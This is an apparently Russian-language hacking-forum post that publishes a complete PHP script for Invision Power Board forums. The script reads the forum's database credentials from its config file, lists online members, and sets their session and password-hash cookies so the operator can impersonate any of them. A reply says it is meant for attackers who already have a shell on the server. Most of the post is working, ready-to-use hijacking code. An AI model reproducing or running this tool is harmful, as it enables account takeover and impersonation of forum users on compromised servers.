IPB session parser Небольшой серверный скрипт, который позволяет залогиниться под любым пользователем форума, который сейчас в онлайне. Для работы нужно указать только путь к файлу конфигурации форума conf_global.php. Из этого файла будет вынута информация для работы с MySQL. Если работа скрипта завершится успешно, то браузеру будут посланы cookies выбраного пользователя. Пример: Code: Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/ Set-Cookie: member_id=2; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/ Set-Cookie: pass_hash=081f90c676a2938ce101e197607c64cb; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/ Set-Cookie: coppa=0; path=/ Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/ Сам скрипт в виде php-файла подан ниже. PHP: <?php /** * Script that helps you to log in IPB forums with different users * Tested on IPB 2.1.5, IP.Board 2.3.1 * Goudini (c) 31.08.2007 */ // Path to config-file, change it to make script work! $configpath = '/var/www/html/forum/conf_global.php'; include($configpath); // mysql $server = $INFO['sql_host']; $username = $INFO['sql_user']; $password = $INFO['sql_pass']; $database_name = $INFO['sql_database']; $prefix = $INFO['sql_tbl_prefix']; mysql_connect($server, $username, $password) or die(mysql_error()); mysql_select_db($database_name) or die(mysql_error()); // sessions, cookies if (isset($_GET["login"]) && $_GET["login"] != '') { $name = mysql_real_escape_string($_GET["login"]); $query = "SELECT member_login_key FROM ${prefix}members WHERE name = '$name'"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_array($result); $c_member_login_key = $row['member_login_key']; // cookie $query = "SELECT id, member_id FROM ${prefix}sessions WHERE member_name = '$name'"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_array($result); $c_id = $row['id']; // cookie $c_member_id = $row['member_id']; // cookie if (isset($c_member_login_key) && isset($c_id) && isset($c_member_id)) { setcookie('session_id', $c_id, 0 , '/'); setcookie('member_id', $c_member_id, time()+60*60*24*30 , '/'); setcookie('pass_hash', $c_member_login_key, time()+60*60*24*30 , '/'); setcookie('coppa', 0, 0 , '/'); setcookie('session_id', $c_id, 0 , '/'); $msg = ">Done... Cookie setted... Now your UID is: $c_member_id! Refresh forum!"; } else { $msg = ">Error! User's session not found"; } } ?> <html> <title>::[ IPB session parser ]::</title> <style> body,table { background: #373737; font-size: 12px; font-family: Verdana, sans-serif; word-spacing: 2px; color: #C3C3C3; } a { font-weight: bold; color: #C3C3C3; text-decoration: underline; } a:hover { text-decoration: underline; border-bottom: 1px #5CAF3D; background: #4B4B4B; } </style> <body> <form action="<?=$_SERVER["REQUEST_URI"]?>"> <table width="100%" height="10%"> <tr> <td align="center" valign="top"> <b>username:</b> <input type="text" name="login"> <input type="submit" value="get session!"> <br><br><a href="<?=$_SERVER["PHP_SELF"]?>?show=1">show all logged users</a> </td> </tr> </table> </form> <?php // results if (isset($_GET["show"])) { $query = "SELECT member_name, browser FROM ${prefix}sessions ORDER BY member_group DESC"; $result = mysql_query($query) or die (mysql_error()); echo "<table>"; while($row = mysql_fetch_array($result)) { $member_name = $row['member_name']; $browser = $row['browser']; if ($member_name != '') { echo "<tr><td>"; echo "<a href=" . $_SERVER["PHP_SELF"] . "?login=" . $member_name . ">" . $member_name; echo "</td><td>$browser</td></tr>"; } } } echo "<h3 align='center'><font color='#E1E1E1'>".@$msg."</font></h3></table>"; mysql_close(); ?> </body> </html>
Piflit: Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.